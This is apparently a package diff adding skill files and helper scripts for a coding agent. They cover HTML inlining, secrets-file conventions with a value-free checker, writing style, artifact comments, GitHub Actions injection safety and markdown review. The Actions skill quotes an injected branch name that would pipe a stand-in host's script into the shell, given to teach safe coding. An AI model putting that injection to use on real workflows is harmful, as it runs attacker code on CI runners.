@celsoft/coordinator 0.0.0 → 0.1.0

package/skills/default/skills/plan-page/scripts/inline

@@ -0,0 +1,46 @@
+#!/usr/bin/env python3
+#
+# inline: turn a built page into one self-contained HTML file, a plan's live mockup.
+#
+# Usage: inline <page.html> <out.html>
+# Each <script src> and stylesheet <link> naming a local file (relative to the page, or from the
+# page's folder when it starts with /) is replaced by its contents; remote ones, such as fonts, stay.
+
+import re
+import sys
+from pathlib import Path
+
+if len(sys.argv) != 3:
+    sys.exit("usage: inline <page.html> <out.html>")
+
+page = Path(sys.argv[1])
+root = page.parent
+
+
+def local(ref):
+    if re.match(r"^(?:[a-z]+:)?//", ref) or ref.startswith("data:"):
+        return None
+    path = root / ref.split("?")[0].split("#")[0].lstrip("/")
+    return path.read_text() if path.is_file() else None
+
+
+def script(m):
+    body = local(m.group("src"))
+    if body is None:
+        return m.group(0)
+    module = ' type="module"' if re.search(r'type=["\']module["\']', m.group(0)) else ""
+    body = body.replace("</script", "<\\/script")
+    return f"<script{module}>{body}</script>"
+
+
+def style(m):
+    href = re.search(r'href=["\']([^"\']+)["\']', m.group(0))
+    body = href and local(href.group(1))
+    return m.group(0) if body is None else f"<style>{body}</style>"
+
+
+html = page.read_text()
+html = re.sub(r'<script\b[^>]*\bsrc=["\'](?P<src>[^"\']+)["\'][^>]*>\s*</script>', script, html)
+html = re.sub(r'<link\b(?=[^>]*\brel=["\']stylesheet["\'])[^>]*>', style, html)
+Path(sys.argv[2]).write_text(html)
+print(f"MOCKUP: {sys.argv[2]} ({len(html.encode()) // 1024} KB)")

package/skills/default/skills/plan-page/scripts/stage

@@ -0,0 +1,26 @@
+#!/usr/bin/env bash
+#
+# stage: prepare the plan page for one plan.
+#
+# Usage: stage <out-dir>
+# Copies the renderer and, when missing, writes an empty plan.json to fill in.
+# Prints the two paths to publish, one per line.
+
+set -euo pipefail
+
+if [ $# -ne 1 ]; then
+  echo "usage: stage <out-dir>" >&2
+  exit 2
+fi
+
+out=$1
+here=$(cd "$(dirname "$0")/.." && pwd)
+
+mkdir -p "$out"
+cp "$here/assets/index.html" "$out/index.html"
+if [ ! -f "$out/plan.json" ]; then
+  printf '{\n  "title": "",\n  "eyebrow": "",\n  "sections": []\n}\n' > "$out/plan.json"
+fi
+
+echo "PAGE: $out/index.html"
+echo "PLAN: $out/plan.json"

package/skills/default/skills/secrets/SKILL.md

@@ -0,0 +1,134 @@
+---
+name: secrets
+description: MUST READ before touching any secret, credential, .env file, or API key. Covers the .env / .env.secrets / secrets.tmpl convention, the rules that keep a value out of git and out of the transcript, how to use a secret inside a script, checking a repo's secrets are filled in, and what to do when one is exposed. Knows nothing about any particular secret manager.
+---
+
+# Secrets
+
+Secrets live in files, and this skill owns those files. It is deliberately independent of
+any secret manager: everything here works the same whether values were typed in by hand or
+pulled from a vault. A secret manager's own CLI (such as 1Password's `op inject`) can fill the file
+for you, but nothing in this skill requires one.
+
+## Hard rules
+
+1. **Never read a `.env*` file.** Not with `cat`, `Read`, `Bash`, or any tool. It may hold
+   live credentials, and reading it pulls them into context where they can be logged or
+   cached. This holds even if you expect the file to contain only placeholders.
+
+2. **Never let a secret value reach the transcript.** Stricter than "do not print it", and
+   the rule that actually matters for an agent: anything a tool returns becomes part of the
+   conversation. So never run a command whose *output* is a secret. A secret is only ever
+   touched **inside a script** that consumes it without emitting it, and Claude runs that
+   script.
+
+3. **Never commit a secret file.** `.env` and `.env.secrets` are gitignored. Only the
+   manifest is committed, and it holds no values.
+
+4. **Never pass a secret as a command-line argument.** It lands in shell history and in
+   process lists. Read it from the environment inside a script.
+
+5. **Never print or log a secret value.** No `echo $API_KEY`, not in error messages, not
+   into a log file.
+
+## The three files
+
+| File | Committed | Readable | Holds |
+| --- | --- | --- | --- |
+| `.env` | no | **no** | non-secret configuration |
+| `.env.secrets` | no | **no** | secret values |
+| `secrets.tmpl` | **yes** | yes | names, and where each value comes from |
+
+`.env.example` stays the committed companion to `.env`, documenting non-secret config with
+placeholder values.
+
+**`secrets.tmpl` is the one file here that is safe to read**, and it deliberately does not
+start with `.env` so it never trips rule 1. It is a declaration, not a copy-me template for
+a human: each line names an environment variable and says where its value lives.
+
+```
+# What this repo needs.
+GITHUB_TOKEN={{ op://Employee/gh-token/password }}
+STRIPE_KEY={{ op://Employee/stripe-live/password }}
+```
+
+**The reference syntax belongs to whatever resolves it**, not to this skill. The example
+above is 1Password's, where `{{ op://vault/item/field }}` is what `op inject` substitutes
+and a bare `op://...` is copied through untouched, producing a file full of reference text
+and no error. Check the manager's own docs for the exact rules.
+
+Naming a **per-user** vault such as `Employee` is what lets one committed manifest serve
+the whole team: every person resolves their own values from the same file, because the
+resolver authenticates as them.
+
+Because it is per-repo and committed, a checkout tells you exactly which secrets it needs
+without anyone having to ask, and adding a secret is a reviewable diff.
+
+## Filling `.env.secrets`
+
+Two paths, same result. The manifest is the contract; how it gets resolved is not this
+skill's concern.
+
+- **By hand.** Copy the names out of `secrets.tmpl` and fill in real values. The references
+  act as pointers telling you where to look.
+- **With a resolver.** If the repo's references point at a secret manager you use, a single
+  command can materialize the file. For 1Password that is `op inject -i secrets.tmpl -o .env.secrets`.
+
+Either way `.env.secrets` must be gitignored **before** it is filled in. That is the one
+mistake here that cannot be undone by editing a file.
+
+## Using secrets
+
+`.env.secrets` is **sourced inside the task that needs it**, so the values exist only in
+that process:
+
+```bash
+#!/usr/bin/env zsh
+set -euo pipefail
+source .env.secrets
+curl -H "Authorization: Bearer $GITHUB_TOKEN" ...
+```
+
+**Never autoload it.** Do not add it to mise's `_.file`, and do not put its values in
+`[env]`: both export into every interactive shell and every child process in the repo,
+which is precisely the exposure this file exists to avoid. Autoloading plain `.env` is fine
+because `.env` holds no secrets. See the `mise-usage` skill.
+
+**Never build a one-liner that extracts a value**, such as
+`KEY=$(grep KEY .env.secrets | cut -d= -f2) some-command`. That both reads the file and
+risks the value showing up in process state.
+
+## Checking a repo's secrets are filled in
+
+Run this skill's `scripts/secrets-check` from the repo root. It compares the names declared
+in `secrets.tmpl` against what is actually in `.env.secrets` and reports one line per name,
+**never a value**:
+
+```
+GITHUB_TOKEN: PRESENT
+STRIPE_KEY: EMPTY
+OLD_TOKEN: EXTRA
+```
+
+- **`PRESENT`** the name has a non-empty value.
+- **`MISSING`** declared but absent. Fill it in.
+- **`EMPTY`** the name is there with no value. Same fix, different cause.
+- **`EXTRA`** present locally but no longer declared. A stale leftover, not a failure.
+
+Exit is 0 only when every declared name is `PRESENT`. It also warns when `.env.secrets` is
+not gitignored, and prints `NO_MANIFEST` for a repo that declares no secrets.
+
+Use this rather than inspecting the file yourself. It reads `.env.secrets` so that you do
+not have to, which is the whole point.
+
+## If a secret is exposed
+
+A secret committed to git, printed in logs, or passed as an argument is compromised:
+
+1. **Rotate it at the source immediately.** Revoke and regenerate it at the service that
+   issued it. Removing the commit is not enough: it is in history and may already be cached
+   by the forge, CI, or a mirror.
+2. **Audit access logs** if the service offers them.
+3. **Update `.env.secrets`** with the new value, and the manifest if the location changed.
+
+Never quietly delete the exposed value and move on without rotating.

package/skills/default/skills/secrets/scripts/secrets-check

@@ -0,0 +1,87 @@
+#!/usr/bin/env bash
+#
+# secrets-check: report whether this repo's secrets are filled in, WITHOUT ever
+# printing a value.
+#
+# Compares the key names declared in the committed manifest against what is actually
+# present in .env.secrets. Reads .env.secrets to do it, which is exactly why this is a
+# script: it emits only names and statuses, so nothing secret reaches the caller.
+#
+# Knows nothing about where values come from. Works whether they were pulled from a
+# secret manager or typed in by hand.
+#
+# Usage: secrets-check [<dir>]        (defaults to the current directory)
+
+set -uo pipefail
+
+dir="${1:-.}"
+tmpl="$dir/secrets.tmpl"
+env_secrets="$dir/.env.secrets"
+
+err() { printf 'secrets-check: %s\n' "$*" >&2; }
+
+# Key names only. Tolerates blank lines, # comments, and an `export ` prefix.
+keys_of() {
+  [ -f "$1" ] || return 0
+  sed -E 's/^[[:space:]]*export[[:space:]]+//' "$1" \
+    | grep -E '^[[:space:]]*[A-Za-z_][A-Za-z0-9_]*=' \
+    | sed -E 's/^[[:space:]]*([A-Za-z_][A-Za-z0-9_]*)=.*/\1/'
+}
+
+# Is a key's value non-empty? Never prints the value, only a yes/no.
+has_value() {
+  [ -f "$env_secrets" ] || return 1
+  sed -E 's/^[[:space:]]*export[[:space:]]+//' "$env_secrets" \
+    | grep -E "^[[:space:]]*$1=" \
+    | tail -1 \
+    | sed -E "s/^[[:space:]]*$1=//" \
+    | grep -qE '.'
+}
+
+if [ ! -f "$tmpl" ]; then
+  err "no secrets.tmpl in $dir; this repo declares no secrets."
+  echo "NO_MANIFEST"
+  exit 0
+fi
+
+# Writing real values to a tracked file is the one unrecoverable mistake here.
+if command -v git >/dev/null 2>&1 && git -C "$dir" rev-parse --git-dir >/dev/null 2>&1; then
+  if ! git -C "$dir" check-ignore -q .env.secrets 2>/dev/null; then
+    err "WARNING: .env.secrets is NOT gitignored in this repo. Add it before filling it in."
+  fi
+fi
+
+work="$(mktemp -d)"
+trap 'rm -rf "$work"' EXIT
+keys_of "$tmpl" | sort -u > "$work/declared"
+
+if [ ! -s "$work/declared" ]; then
+  err "secrets.tmpl declares no keys."
+  echo "NO_KEYS"
+  exit 0
+fi
+
+rc=0
+while IFS= read -r k; do
+  [ -n "$k" ] || continue
+  if has_value "$k"; then
+    printf '%s: PRESENT\n' "$k"
+  elif [ -f "$env_secrets" ] && keys_of "$env_secrets" | grep -qx "$k"; then
+    printf '%s: EMPTY\n' "$k"
+    rc=1
+  else
+    printf '%s: MISSING\n' "$k"
+    rc=1
+  fi
+done < "$work/declared"
+
+# Keys present locally but no longer declared: stale leftovers, not a failure.
+if [ -f "$env_secrets" ]; then
+  keys_of "$env_secrets" | sort -u > "$work/present"
+  while IFS= read -r k; do
+    [ -n "$k" ] || continue
+    printf '%s: EXTRA\n' "$k"
+  done < <(comm -13 "$work/declared" "$work/present")
+fi
+
+exit "$rc"

package/skills/default/skills/writing-style/SKILL.md

@@ -0,0 +1,45 @@
+---
+name: writing-style
+description: "Baseline writing style rules for anything Claude writes for a human to read: chat responses, plans, Jira tickets and comments, PR descriptions and comments, docs, anywhere. This is the minimum floor; a more specific skill (a commenting skill, a Jira-content skill, a docs skill) may layer additional rules for its own content type, but never contradict this one. Read this before writing any nontrivial prose, and defer to the more specific skill's rules where one applies."
+verified: 2026-07-26
+---
+
+# Writing Style
+
+The baseline that every piece of written output follows, regardless of where it ends up. More specific skills add rules on top of this for their own content type (tone, markdown-vs-plain-text, required sections, and the like): they never restate or override what's here. If a specific skill's rule conflicts with this one, the specific skill is wrong and needs fixing, not this baseline.
+
+## No em-dashes, ever
+
+Never use an em-dash, in any content, anywhere. This is absolute: there is no situation where one is acceptable. Use a colon, a semicolon, a comma, or reword the sentence instead. Do not reach for an ellipsis as a substitute either; if a specific context wants to allow ellipses for other reasons, that is its own rule to state, not a workaround for this one.
+
+Never use an en-dash as a sentence separator either: the same substitutes apply.
+
+## Layer from the whole to the parts
+
+Open with the shape of the whole before any detail. Never lead with an implementation detail, an edge case, or a mechanism before the reader has something to hang it on: state what the thing is or does first, then narrow into the parts.
+
+## Say it in as few words as possible
+
+Cut filler, hedging, throat-clearing, and restating context the reader already has. Prefer short declarative sentences. Drop adjectives and adverbs that don't change the meaning.
+
+## Prefer lists, led by a bold mnemonic
+
+Break content into a list whenever the structure allows one: never a paragraph where a list will do. Lead each item with a short **bold mnemonic**, a label that anchors the point in memory, then the detail.
+
+## Comparing a real process to a substitute
+
+When describing a real-world flow next to what a test, mock, or substitute does at each step, use one interleaved list, not two parallel lists. Each line: the real step in plain words, a colon, then what the substitute does at that same point, also in plain words, never compressed noun-stacking (bad: "Dealroom link survey"; good: "A user links a CoStar survey to a deal in Dealroom"). Put the end result as the last bullet of that same list, not a separate paragraph after it. Give any caveat, what it doesn't cover, a manual fallback, exactly one line.
+
+## Write for the reader in front of you
+
+Don't restate what the reader can already see (a ticket number they're looking at, a file they just opened, a diff they already have). Say the new information first.
+
+## Chat replies default to short
+
+This rule binds every reply in conversation, not only documents, tickets, and PRs: a chat reply is not a report. Default to a few lines; only go longer when the content itself demands it (a plan, a requested deep-dive, a multi-part answer to a multi-part question).
+
+- **Answer first, stop after.** Give the result before anything else, and don't tack on unrequested caveats, alternatives, or background.
+- **No preamble, no wrap-up.** Skip "I'll now...", "Let me...", "To summarize...", "In conclusion...". State the thing directly; don't narrate approaching or leaving it.
+- **One point, one pass.** Don't restate the same conclusion in different words or say a thing and then re-explain it.
+- **Long only when asked.** Length follows an explicit ask (a plan, a "walk me through it", a request for detail): never write more because the topic feels important.
+- **Complexity isn't a length exemption.** A technical or architectural topic doesn't justify longer output by default, compress it the same as anything else. If real length is warranted, put it in a file and keep the chat reply to a pointer plus the takeaway.

package/skills/extra/.claude-plugin/plugin.json

@@ -0,0 +1,5 @@
+{
+  "name": "coordinator-extra",
+  "version": "1.0.0",
+  "description": "Extra Skills: shipped with the coordinator as a bonus, used by an agent only when the user chooses them in a profile."
+}

package/skills/extra/skills/artifacts/SKILL.md

@@ -0,0 +1,52 @@
+---
+name: artifacts
+description: "MUST READ before adding any notes, comments, feedback, annotation or review UI to a Claude artifact, and whenever the user asks how to comment on, annotate, mark up or leave notes on one. Artifacts already have a built-in comment system; this skill stops a second one being built. Layers on top of the bundled artifact-design and artifact-capabilities skills and never contradicts them."
+verified: 2026-09-29
+---
+
+# Artifacts
+
+A narrow rule layered on the bundled `artifact-design` and `artifact-capabilities` skills. Those
+own how a page is designed and what capabilities it may declare. This owns one thing they leave
+out.
+
+## Never build a comment system into an artifact
+
+**Artifacts already have one.** A reader selects text on the published page, leaves a comment
+anchored to that selection, and Claude reads, replies to and resolves the threads with the
+`ArtifactComments` tool.
+
+So do not build, and do not offer to build:
+
+- a notes or annotation UI, per section or otherwise
+- a feedback, review or suggestion form
+- a comment box backed by the `db` capability
+- a "leave a note" control of any other shape
+
+This holds **even when the request names artifact data or the `db` capability outright**. The ask
+behind those words is almost always "let me leave notes on this," which the built-in system
+already answers. Say so before writing any code, and let the user choose.
+
+## What to say instead
+
+When the user asks how to comment on an artifact:
+
+- **Select the text on the page and comment on it.** The comment anchors to that exact sentence,
+  not to a section you had to invent an id for.
+- **Send the thread to Claude** (reply on it with Send to Claude, or mention `@claude` in it). A
+  thread that has not been activated cannot be replied to or resolved, and a plain comment never
+  wakes the session.
+- **Claude reads them with `ArtifactComments`**, action `read`, and answers each thread in place.
+
+## The general rule behind it
+
+**Before declaring a capability to give a page a behaviour, check whether the viewer shell already
+provides that behaviour.** A capability is for what the shell does not do. Reaching for one to
+rebuild something the platform ships costs a declaration, a subscription, error handling and a
+verification pass, and lands somewhere worse than the original.
+
+**Why this skill exists:** a request to leave notes on a plan produced a per-section notes UI on
+the `db` capability, when selection-anchored comments already did the job better and cost nothing.
+It was stripped the same session. The bundled `artifact-capabilities` skill points at `db` for
+"data Claude reads later" and never mentions that comments exist, so the wrong path reads as the
+documented one.

package/skills/extra/skills/github-actions/SKILL.md

@@ -0,0 +1,78 @@
+---
+name: github-actions
+description: "Writing or editing GitHub Actions workflows and composite actions: the expression-interpolation rule (never `${{ }}` inside `run:`), how values must cross into a script as data, and how to scan a repo for violations. Read before adding or changing any workflow, action.yml, or `run:` block."
+verified: 2026-08-13
+---
+
+# GitHub Actions: values cross as data, never as text
+
+**Never put `${{ }}` inside a `run:` block.** Pass the value through `env:` and reference it as a quoted shell variable. This is a mechanical rule with no per-value judgment call: it holds for `github.*`, `inputs.*`, `steps.*.outputs.*`, `vars.*`, everything.
+
+```yaml
+# WRONG: the value becomes part of the program
+- run: |
+    if [[ "${{ github.ref }}" == "refs/heads/main" ]]; then ...
+
+# RIGHT: the value arrives as data
+- env:
+    GIT_REF: ${{ github.ref }}
+  run: |
+    if [[ "$GIT_REF" == "refs/heads/main" ]]; then ...
+```
+
+## Why the rule is mechanical
+
+The expression engine resolves `${{ }}` by **substituting text into the workflow file**, before the runner writes the `run:` block to a script and hands it to the shell. So a `run:` block is code generation, and every other field is a data slot. A branch named `x"; curl evil.sh | sh; :; "` doesn't produce a wrong comparison, it produces a different program.
+
+That is also why the value can't be purified in the script: any validation written in bash executes *after* the substitution, so the script is already corrupted by the time the guard would run. Validation would have to happen in the expression engine, which has no regex, and whose result you'd then have to splice in anyway.
+
+Two more reasons not to reason per-value:
+
+- **Escaping is context-dependent.** The correct escape differs inside double quotes, single quotes, a heredoc, backticks. One value used twice needs two treatments. `env:` has one form that's right everywhere.
+- **"Safe today" decays.** "Inert because every caller hardcodes it" is a fact about today's callers, not about the code. It's also invisible to the next person, who can't tell which splices were audited.
+
+## Where interpolation is fine
+
+| Field | Safe? | Why |
+|---|---|---|
+| `run:` | **No** | Substituted into the script's source text |
+| `if:` | Yes | Evaluated by the expression engine as a value |
+| `env:` | Yes | Value goes into the process environment |
+| `with:` | At the boundary | Passed as an input value, but see below |
+| `outputs:`, `name:` | Yes | Never parsed as code |
+
+**`with:` is only as safe as the action behind it.** Passing a value into a composite action's input is a data slot, but if that action's own `run:` splices `${{ inputs.x }}`, the flaw has just moved inside the action. Apply this rule to `action.yml` files as strictly as to workflows.
+
+## The same rule one level down
+
+A shell variable is still data until something re-parses it. Inside the script:
+
+- **JSON:** build it with `jq -n --arg name "$VALUE"`, never by concatenating into a quoted body.
+- **Subprocesses:** pass argument lists (`subprocess.run([...])`, `"$@"`), never a string a shell will re-split.
+- **`jq` filters:** the value goes in `--arg`, never into the filter text.
+- **Never `eval`**, and never build a command string to run later.
+- **`GITHUB_ENV` / `GITHUB_OUTPUT`:** a multi-line or attacker-influenced value needs the heredoc form with a random delimiter, or it can forge additional variables:
+
+  ```bash
+  {
+    echo "result<<__EOF_$RANDOM"
+    echo "$VALUE"
+    echo "__EOF_$RANDOM"
+  } >> "$GITHUB_OUTPUT"
+  ```
+
+  (Use one delimiter value, computed once, in both places.)
+
+## Which values actually carry attacker text
+
+The rule applies regardless, but this is what makes it more than theory. User-authored, reaching the workflow verbatim: `github.event.*` (PR title, body, commit message, author name), `github.head_ref`, `github.ref` and `github.ref_name` (branch names may contain `"`, `` ` ``, `$`, `;`). Not user-authored: `github.sha`, `github.run_id`, `github.repository`.
+
+## Verify with a scanner, not by reading
+
+```
+mise run "<this skill's dir>/scan" [path] [--injection-only]
+```
+
+Defaults to scanning `.github`. `--injection-only` reports just the interpolation sites, one per line as `file:line`, which is the list to work through; without it you get zizmor's full output (unpinned actions, excessive permissions, credential persistence). If `mise` is missing, react per the `skill-dependencies` skill.
+
+Expect a mature repo to report dozens of existing sites. That's a backlog, not a blocker: fix the block you're touching, and raise the rest as its own piece of work rather than expanding the change in front of you.

package/skills/extra/skills/github-actions/scan

@@ -0,0 +1,32 @@
+#!/usr/bin/env zsh
+#MISE description="Scan GitHub Actions workflows for expression-injection and other zizmor findings"
+#MISE tools={zizmor="latest", jq="latest"}
+#USAGE arg "[path]" help="File or directory to scan" default=".github"
+#USAGE flag "--injection-only" help="Report only template-injection sites, as file:line"
+set -euo pipefail
+
+PATH_TO_SCAN="$usage_path"
+
+if [[ "${usage_injection_only:-false}" != "true" ]]; then
+    # zizmor exits non-zero when it finds anything, which is not a failure of the scan itself.
+    zizmor --persona=regular "$PATH_TO_SCAN" || true
+    exit 0
+fi
+
+# zizmor exits non-zero whenever it reports anything, so its status can't flow into the pipeline.
+FINDINGS="$(zizmor --persona=regular --format=json "$PATH_TO_SCAN" 2>/dev/null || true)"
+
+# One finding covers one expression, but carries several locations: the step, the run block, and
+# the expression itself (kind "Primary"). Only the last one is worth reporting. Rows are 0-indexed.
+print -r -- "$FINDINGS" \
+    | jq -r '
+        .[]
+        | select(.ident == "template-injection")
+        | .locations[0].symbolic.key.Local.verbatim_path as $path
+        | ( .locations[]
+            | select(.symbolic.kind == "Primary")
+            | .concrete.location.start_point.row + 1
+          ) as $line
+        | "\($path):\($line)"
+      ' \
+    | sort -u -t: -k1,1 -k2,2n

package/skills/extra/skills/markdown-review/SKILL.md

@@ -0,0 +1,70 @@
+---
+name: markdown-review
+description: "MUST READ whenever you and the user are writing, editing or reviewing a markdown document together and the user needs to read it: a design doc, plan, guide, README, spec or any other .md file. Publishes the file as-is to a Claude artifact that renders it, so the user reads it formatted and comments on it, and republishes after every change."
+verified: 2026-10-25
+---
+
+# Markdown review
+
+The user reads markdown rendered, not raw. While a markdown file is being written or reviewed
+together, it lives on a Claude artifact made of three files:
+
+1. **`index.html`:** this skill's `assets/index.html`, a renderer that never changes.
+2. **`document.json`:** `{ "file": "<name>.md" }`, telling the renderer which file to load.
+3. **`<name>.md`:** the markdown file itself, published unchanged under its real name.
+
+The `.md` file in the repo stays the source of truth. The artifact is only a view of it.
+
+## Publish
+
+1. **Stage:** run this skill's `scripts/stage <markdown-file> <out-dir>`, with `<out-dir>` a
+   folder for this document in the session's scratch directory, such as
+   `<scratch>/markdown-review/<name>`. It prints three lines:
+   ```
+   PAGE: <out-dir>/index.html
+   MANIFEST: <out-dir>/document.json
+   MARKDOWN: <name>.md <- <absolute path>
+   ```
+2. **Publish** with the Artifact tool:
+   - `file_path`: the `PAGE` path.
+   - `files`: `{"document.json": "<MANIFEST path>", "<name>.md": {"from": "<absolute path>", "contentType": "text/markdown"}}`.
+   - `icon`: `document`, on the first publish only.
+   - `description`: one sentence naming the document.
+3. **Link:** give the user the artifact link.
+
+A `files` source must be under the working directory or the scratch directory. When the
+markdown file is elsewhere, copy it into `<out-dir>` first and publish the copy.
+
+Images the markdown references by relative path render only if published too: add each to
+`files` under the same relative path.
+
+## After every change
+
+Republish whenever the markdown file changes, without being asked:
+
+- **Same session:** publish again with the same `file_path` and the `<name>.md` entry in
+  `files`. The page and `document.json` need no restaging.
+- **Later session:** the scratch folder is gone. Run `scripts/stage` again, read the artifact
+  with `action: "read"`, then publish with its `url`.
+- **Renamed file:** restage so `document.json` names the new file, and remove the old one
+  with `"<old>.md": null` in `files`.
+
+## Review
+
+Comments use the artifact's built-in comments: the user selects text and comments on it, and
+you read and answer the threads with `ArtifactComments`. Never add a comment or notes UI to
+the page; see the `artifacts` skill.
+
+Apply the changes a comment asks for to the `.md` file in the repo, never to the artifact,
+then republish.
+
+## The renderer
+
+- **Markdown:** GitHub-flavored, through `marked`, sanitized with `DOMPurify`.
+- **Diagrams:** fenced `mermaid` blocks render as diagrams.
+- **Title:** the browser tab shows the document's first heading.
+- **Outline:** a side panel lists the headings and jumps to each; it and the document scroll
+  separately, and on narrow screens it opens from an Outline button.
+- **Themes:** light and dark follow the viewer.
+
+Change the renderer only in this skill's `assets/index.html`, so every document gets the fix.